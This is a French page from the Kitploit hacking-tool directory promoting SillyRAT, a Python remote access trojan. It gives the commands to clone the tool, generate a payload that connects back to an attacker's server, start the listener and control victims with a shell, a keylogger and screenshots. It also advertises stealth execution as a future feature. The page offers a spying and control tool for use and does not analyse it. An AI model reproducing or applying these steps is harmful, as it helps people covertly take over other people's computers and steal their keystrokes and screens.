Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/hash3lizer/sillyrat
Génération de PayloadsPost-ExploitationCommandement et ContrôleCheval de Troie d'Accès à Distance
GitHubhash3lizer/sillyrat

SillyRAT

Un RAT basé sur Python 🐀 (Remote Access Trojan) pour obtenir un reverse shell 🖥️

Voir le dépôt
9371775il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

SillyRAT
SillyRAT

platform: cross Python: 3 Release: v3.1 lisence

Un RAT multiplateforme multifonctionnel (Windows/Linux/Mac).

Le fichier source reste le même sur toutes les plateformes. Vous pouvez donc le générer sur une plateforme et l'utiliser sur une autre. Pour obtenir le fichier source:

Pour commencer

Description

Un RAT multiplateforme écrit en Python pur. Le RAT accepte des commandes accompagnées d'arguments pour agir soit comme serveur qui accepte les connexions, soit comme client/cible qui établit des connexions vers le serveur. La commande generate utilise le module pyinstaller pour compiler le code du payload réel. Ainsi, pour générer le fichier payload pour votre plateforme respective, vous devez être sur cette plateforme lors de la génération du fichier. De plus, vous pouvez également obtenir le fichier source directement.

Fonctionnalités

  • Shell intégré pour l'exécution de commandes
  • Extraction des informations système incluant les disques et la mémoire RAM
  • Module de capture d'écran. Capture l'écran du client.
  • Boucle de connexion (continuera à se connecter au serveur)
  • Actuellement, il utilise l'encodage BASE64.
  • Python pur
  • Multiplateforme. (Testé sur Linux. Les erreurs sont acceptées)
  • Fichier source inclus pour les tests
  • Python 3

À venir dans le futur

  • Exécution furtive
  • Chiffrement
  • Stockage des sessions de la dernière tentative
  • Envoi de notifications lorsqu'un client se connecte

Installation

L'outil est testé sur Parrot OS avec Python 3.8. Suivez les étapes pour l'installation:

root@kitploit:~
$ git clone https://github.com/hash3liZer/SillyRAT.git
$ cd SillyRAT/
$ pip3 install -r requirements.txt

Documentation

Génération du payload

Vous pouvez obtenir le fichier payload de deux manières:

  • Fichier source
  • Fichier compilé
root@kitploit:~
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/payload.py --source

La version compilée doit être générée sur la plateforme respective. Par exemple, vous ne pouvez pas générer un fichier .exe sur Linux. Vous devez être spécifiquement sur Windows. L'outil est encore en test. Donc toutes sortes d'erreurs sont acceptées. Assurez-vous d'ouvrir une issue néanmoins. Génération de la version compilée pour Linux:

root@kitploit:~
$ python3 server.py generate --address 134.276.92.1 --port 2999 --output /tmp/filer

Remplacez votre adresse IP et votre port dans les commandes ci-dessus.

Lancement du serveur

Le serveur doit être exécuté sur Linux. Vous pouvez acheter un VPS ou un serveur cloud pour les connexions. Pour information, le serveur ne stocke aucune session de la dernière exécution. Ainsi, toute la progression sera perdue une fois que l'application serveur sera terminée. Lancement de votre serveur:

root@kitploit:~
$ python3 sillyrat.py bind --address 0.0.0.0 --port 2999

Connexions

Toutes les connexions seront listées sous la commande sessions:

root@kitploit:~
$ sessions

Vous pouvez vous connecter à votre session cible avec la commande connect et lancer une des commandes disponibles:

root@kitploit:~
$ connect ID
$ keylogger on
$ keylogger dump
$ screenshot

Aide

Obtenez la liste des commandes disponibles:

root@kitploit:~
$ help

Aide sur une commande spécifique:

root@kitploit:~
$ help COMMAND

Support

Twitter: @hash3liZer
Discord: TheFlash2k#0407

Télécharger l’outil